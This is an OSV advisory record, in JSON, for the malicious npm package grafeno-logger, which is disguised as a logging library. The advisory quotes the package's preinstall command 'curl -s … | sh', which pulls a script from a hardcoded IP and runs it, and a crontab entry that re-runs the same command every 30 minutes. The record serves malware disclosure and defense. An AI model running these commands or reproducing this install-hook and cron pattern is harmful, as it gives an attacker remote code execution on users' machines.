{"id":"MAL-2026-15506","revision":"1acaf4b860064ba390d0c6fe978bb8f1","records":[{"revision":"1acaf4b860064ba390d0c6fe978bb8f1","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-15506","aliases":[],"title":"Malicious code in grafeno-logger (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413)\ngrafeno-logger@1.0.0 is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs `curl -s 216.126.236.46/x.sh | sh` via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on `npm install`. The same preinstall step appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.\n","state":0,"publishedAt":"2026-08-28T23:01:35+00:00","modifiedAt":"2026-08-29T02:00:45.6730327+00:00","affected":[{"ecosystem":"npm","name":"grafeno-logger","ranges":[],"versions":["1.0.0","1.0.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/grafeno-logger/v/1.0.0","https://www.npmjs.com/package/grafeno-logger/v/1.0.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-15506","license":"OSV · upstream source license applies","key":"osv:MAL-2026-15506","identifiers":["MAL-2026-15506"]},"retained":false,"historicalAffected":[]}],"coverage":[]}